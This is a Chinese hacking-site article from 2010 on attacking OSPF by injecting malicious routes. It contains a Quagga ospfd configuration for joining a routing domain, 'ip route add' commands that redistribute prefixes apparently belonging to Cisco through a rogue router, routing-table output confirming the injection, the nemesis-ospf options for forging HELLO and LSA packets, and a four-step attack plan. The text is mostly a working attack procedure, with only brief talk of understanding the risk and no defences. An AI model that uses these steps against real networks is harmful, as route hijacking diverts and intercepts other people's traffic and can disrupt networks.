首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
攻击OSPF:通过链路状态路由协议注入恶意路由
来源:Hack01@Live!cn 作者:Czy 发布时间:2010-02-22  

Copyright (c) 2010 Czy Invicta <Hack01@Live!cn>
All rights reserved.


前言
~~~~~~~
谁控制了路由协议,谁就控制了整个网络。因此,要对该协议实施充分的安全防护,要采取最严格的措施——不会有错!如果该协议失控,就可能导致整个网络失控。

链路状态路由协议(OSPF)用得较多,而且将在未来很长时间内继续使用。因此,要高清其层次结构对安全性的影响及攻击者针对该协议而可能采取的做法,我写出这篇文章正是此目的,对这些内容的掌握将是很有帮助的。


演示
~~~~~~~
这种攻击的目的在于将自己的路由器,如一台启用了转发功能的Linux机器,通告为一台具有大量带宽的链路状态路由协议路由器。尽管Cisco设备在实施OSPF时支持带宽和延迟这两种量度,但通常只会考虑带宽。在此情况下,计算开销的方法为:(10^8)/带宽,即100Mbps与链路带宽的比值。例如,10Mbps链路的开销是10,而56Kbps串行链路的开销是1785。

当然,攻击者会希望通告最小的开销,即1。在router ospf模式下,可使用ospf auto-cost reference-bandwidth命令更改参考带宽,这在高速网络中非常有用。不过对攻击者来说,更简单的方法是使用ip ospf cost <cost>命令来操纵接口上的开销。

计算Quagga路由器套件中的ospfd的配置成本的过程和对Cisco路由器的情况完全一致。可在接口的配置模式下设置路由的开销,所使用的命令为:ip ospf cost <1-65535>。

Quagga路由软件中,ospfd守护进程的配置文件示例如下:

!
! Zebra configuration saved from vty
  2010/02/15 01:22:41
!
hostname legitimate.ospfd
password 8 jhahnGuSsan.g
enable password 8 Cb/yfFsI.abqs
log file /var/log/quagga/ospfd.log
service advanced-vty
service password -encryption
!
!
interface eth0
  description DMZ-Network
  ip ospf authentication message-digest
  ip ospf message-digest-key 1 md5 secret_key
!
interface eth1
!
interface 10
!
interface tun10
!
router ospf
  ospf router-id 192.168.20.111
  redistribute kernel
  redistribute connected
  network 192.168.20.0/24 area 0.0.0.0
  area 0.0.0.0 authentication message-digest
!
line vty
  exec-timeout 30 0
!

成功加入OSPF域后,应检测日志进行确认,或者使用show ip opsf命令,显示连接汇总。确认成功后即可开始注入恶意路由:

legitimate.ospfd# show ip ospf
  OSPF Routing Process, Router ID: 192.168.20.111
  Supports only single TOS (TOS0) routes
  This implementation conforms to RFC2328
  RFC1583Compatibility flag is disabled
  OpaqueCapability flag is disabled
  SPF schedule delay 1 secs, Hold time between two SPFs 1 secs
  Refresh timer 10 secs
  This router is an ASBR (injecting external routing information)
  Number of external LSA 4. Checksum Sum 0x00025f81
  Number of opaque AS LSA 0. Checksum Sum 0x00000000
  Number of areas attached to this router: 1

Area ID: 0.0.0.0 (Backbone)
  Number of interfaces in this area: Total: 1, Active: 1
  Number of fully adjacent neighbors in this area: 2
  Area has message digest authentication
  SPF algorithm executed 29 times
  Number of LSA 9
  Number of router LSA 4. Checksum Sum 0x00025166
  Number of network LSA 1. Checksum Sum 0xffff90fa
  Number of summary LSA 2. Checksum Sum 0x000166c2
  Number of ASBR summary LSA 2. Checksum Sum 0x00014713
  Number of NSSA LSA 0. Checksum Sum 0x00000000
  Number of opaque link LSA 0. Checksum Sum 0x00000000
  Number of opaque area LSA 0. Checksum Sum 0x00000000

要保证在router ospf模式下已指定了redistribute kernel,否则使用ip route命令指定的路由将无法重新分布。这些管理规则适用于启用数据包转发和NAT的情况。接下来,我们声明指向某些Cisco网络的路由将通过我们的路由器,实现命令如下:

arhontus / # ip route add 64.100.0.0/14 dev eth0
arhontus / # ip route add 128.107.0.0/16 dev eth0

如果条件恶劣,可使用tcpdump来查看数据包是否开始进入自己的主机。而在测试实验室中,我们能在相邻的路由器上执行sh ip ospf route命令,检查是否已成功注入路由:

legitimate.ospfd# sh ip ospf route

============ OSPF external routing table ===========
N E2 64.100.0.0/14       [10/20] tag: 0
                         Via 192.168.66.111, eth0
N E2 128.107.0.0/16      [10/20] tag: 0
                         Via 192.168.66.111, eth0

你或许已经猜到,192.168.66.111就是我们用来通告OSPF的流氓机器。

正如我们已经演示的那样,实际上安装并配置Quagga将更为简便一些,不过还是可用各种定制数据包生成器来模拟OSPF路由器运行并插入恶意OSPF HELLO和更新(或者链路状态通告,LSA)。

arhontus / # ./nemesis-ospf

OSPF usage:
  ./namesis-ospf [-v] [optlist]

OSPF Packet Types:
  -p <OSPF Protocol>
  -pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),
  -pN LSA (network), -pM LSA (summary), -pA LSA (AS)
OSPF HELLO options:
  -N <Neighbor Router Address>
  -i <Dead Router Interval>
  -l <OSPF Interval>
OSPF DBD options:
  -z <MAX DGRAM Length>
  -x <Exchange Type>
OSPF LSU options:
  -B <num of LSAs to bcast>
OSPF LSA related options:
  -L <router id>
  -G <LSA age>
OSPF LSA_RTR options:
  -u <LSA_RTR num>
  -y <LSA_RTR router type>
  -k <LSA_RTR router data>
OSPF LSA_AS_EXT options:
  -f <LSA_AS_EXT forward address>
  -g <LSA_AS_EXT tag>
OSPF options:
  -m <OSPF Metric>
  -s <Sequence Number>
  -r <Advertising Router Address>
  -n <OSPF Netmask>
  -O <OSPF Options>
  -R <OSPF Router id>
  -A <OSPF Area id>
  -P <Payload File (Binary or ASCII)>
   (- ERBOSE - packet struct to stdout)

IP Options
  -S <Source Address>
  -D <Destination Address>
  -I <IP ID>
  -T <IP TTL>
  -t <IP/OSPF tos>
  -F <IP frag>
  -o <IP Options>

Data Link Options:
  -d <Ethernet Dvice>
  -H <Source MAC Address>
  -M <Destination MAC Address>

在此必须定义源地址、目的地址、协议及相关选项。

也可伪造生成OSPF LSA更新。此时需到此工具安装位置下的config目录中编辑defaultLsaHdr.txt或defaultLsa.txt文件,表明要通告的路由。


思绪
~~~~~~~
整个注入流程分为4步:

1. 仔细研究待攻击OSPF网络的拓扑结构。使用ass进行被动嗅探和主动扫描。别忘了获取自治系统号。
2. 运行一个nemesis-ospf进程,将其设为生成HELLO数据包。
3. 再运行一个nemesis-ospf进程,模拟OSPF握手。这是个非常困难的任务,将用到一些脚本,原因是握手涉及多种不同的数据包,如下简单画出的草图。(在该图中,数据库描述符数据包(DDP)向邻居发送汇总数据,同步各拓扑结构数据库。链路状态请求(LSR)向邻居发送更详细的信息。链路状态更新(LSU)则作为对此请求的响应而发送。在特定的一个路由域中,最多可有5种不同类型的LSU,具体取决于路由器在OSPF区域中的位置和角色。最后,LSACK是一种已成功接收和处理的LSU的ACK确认。)
4. 开始注入自行选择的恶意链路状态通告。


尾声
~~~~~~~
考虑到所需花费的努力,你或许会发现使用一套路由软件来实施流氓路由器攻击将更为实际。不过使用数据包生成器将更富有意义,路由或安全专家在空闲时会考虑这么做。不管怎样,如果有问题,可以写信件并发送到我的Email(Hack01[at]Live.cn)中向我咨询。

 

# HACKER NETSPY [C.Z.Y]


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·让LOOP防下载形同虚设直接拿shel
·内网渗透案例
·突破XSS字符数量限制执行任意JS
·数字战场:VPN隧道攻击
·无线网络渗透之旅
·MYSQL中BENCHMARK函数的利用
·Discuz! v7.2 注入漏洞分析与利
·企业网络的盲点:利用打印机进行
·CityShop v5.5.8 sql injection
·总结搜索型手工注入的全过程(不
·详解cisco路由入侵艺术
·高级Mysql攻击技术(翻译blackhat
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved